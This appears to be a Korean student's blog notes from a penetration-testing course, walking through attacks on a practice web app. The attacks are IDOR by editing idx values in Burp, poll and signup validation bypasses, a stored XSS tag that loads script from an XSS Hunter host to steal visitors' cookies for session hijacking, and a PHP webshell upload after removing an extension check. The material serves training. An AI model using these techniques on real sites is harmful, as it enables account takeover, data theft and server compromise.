본문 바로가기

Rookies 9기/클라우드 취약점 진단 및 대응 실무

취약점 진단 및 대응 실무 1일차

728x90

• 모의해킹 업무

기업에서 운영 중인 시스템을 대상으로 취약점을 파악해 공격을 실시하고 어떤 결과가 초래될지 찾아 증명하는 일

 

• 모의해킹 업무 중 인증 처리 미흡 시나리오 

‣ 사용자 권한을 가지고 접근하지 못 하는 곳에 접근이 허용이 되는가
사용자 권한으로 관리자 페이지 접근 및 제어가 가능한가
회원 가입 우회해서 가입이 가능한가
다른 사용자의 게시물 수정 및 삭제 가능한가
유료 서비스를 무료 서비스로 사용가능한가
비밀글의 패스워드를 우회 가능한가
이벤트(투표) 반복 참여가 가능한가
쇼핑몰 가격 변경 가능한가
1:1 문의 게시물 열람 가능한가

 

인증처리 미흡 대응방안(시큐어코딩)

 모든 페이지에 대해서 사용자 권한 체크 (세션체크)

 사용자 비밀번호 입력하게 함

 

시나리오 실습

다른사람의 1 : 1 문의게시판 보기, 수정, 삭제 하기

1 : 1 문의게시판

1:1 문의게시판에 글쓰기(공격자)

Idx 값 확인

hcm 테스트 글 버프로 idx 값이 205이다. 

idx 값 수정

idx 값을 다른 값으로 수정을 해보자.

결과 화면

다른 사람이 작성한 1:1문의게시글을 볼 수 있다.

수정

다른 사람의 문의게시글을 수정할 수가 있다.

삭제

다른 사람이 작성한 문의 게시글을 삭제할 수 있다.

 

 

본인 및 관리자만 열람 가능한 게시글 수정 

공격자

hcm(공격자)는 게시글을 하나 작성한다.

공격자

hcm 계정의 게시글의 idx 값은 242이다.

피해자

idx 값을 246으로 수정을 한다.

피해자 계정

다른 사람의 잠금 게시물을 볼 수가 있다.

※ 자유 게시판 로직

글쓰기 ⇒ 글 수정 ⇒ 패스워드 입력 ⇒ 상세 페이지 ⇒ 패스워드 입력 ⇒ 수정 페이지 접근 ⇒ 패스워드 입력(패스워드가 입력이 되어 있음) ⇒ 수정 완료

 

 

기간이 만료된 설문조사 투표하기 

투표하기를 누르기 전에 버프로 Interscept 해준다.

Response을 보면 Status == 'last'로 되어있다.

last를 now로 변경 후 포워드로 서버에 넘겨주면 투표를 할 수 있다.

 

 

4. 카멜 페이지 회원가입 우회

회원 가입

주민등록 입력 없이 우회가 가능한가?

Response에서 주민등록에 대한 소스 코드를 볼 수 있다.

모든 내용을 지우고 document.from.submit(); 만 남겨준다. (데이터를 전송하기 위해 남겨야 함)

 

회원가입시 주소를 안 적고 우회가 가능한가?

주소 찾기 오류

주민등록번호를 안적고 다음 회원가입 페이지로 이동이 된다.

Response에서 소스코드를 보면 우편에 대한 소스코드를 볼 수 있다.

send 함수에서 우편에대한 모든 내용을 지우고 페이지 실행 및 전송 부분만 남겨준다.

주소 미입력
회원가입 성공

회원가입이 성공할 수 있는 걸 볼 수 있다.

 

 

XSS 스크립트 작성 ⇒ 쿠키값 획득 ⇒ 쿠키 재사용 공격

자유게시판

자유게시판에 다른 사용자들이 흥미를 끌 수 있는 내용과 함께 <scrtipt src=https://hcm.xss.ht></script> 작성

글을 작성하면 자바스크립트는 보이지 않는다.

https://xsshunter.com/app

다른 사용자가 게시글을 보면 https://xsshunter.com/app에서 확인할 수 있다.

IP, Referer, Cookies 등 정보를 볼 수 있다.

쿠키 재사용

개발자 모드에서 Application로 이동을 하면 쿠키값을 볼수 있다.

쿠키 값을 https://xsshunter.com/app에서 본 쿠키값으로 수정을 해준다

다른 사용자의 계정으로 변경이 된 걸 볼 수 있다.

 

 

파일업로드 취약점(웹쉘 업로드)

자료실에 웹쉘 파일을 올리려고 하면 "PHP, HTML 파일은 보안상 업로드할 수 없습니다" 경고 메시지가 보이면서 파일을 업로드를 할 수가 없다.

Response에서 파일 확장자를 검사하는 부분을 수정 찾아 수정을 한다.

파일 확장자 체크하는 코드 부분을 모두 지워준다.

php 확장자 파일이 업로드가 된다.

파일을 누르면 웹쉘이 실행이 되는 걸 볼 수 있다.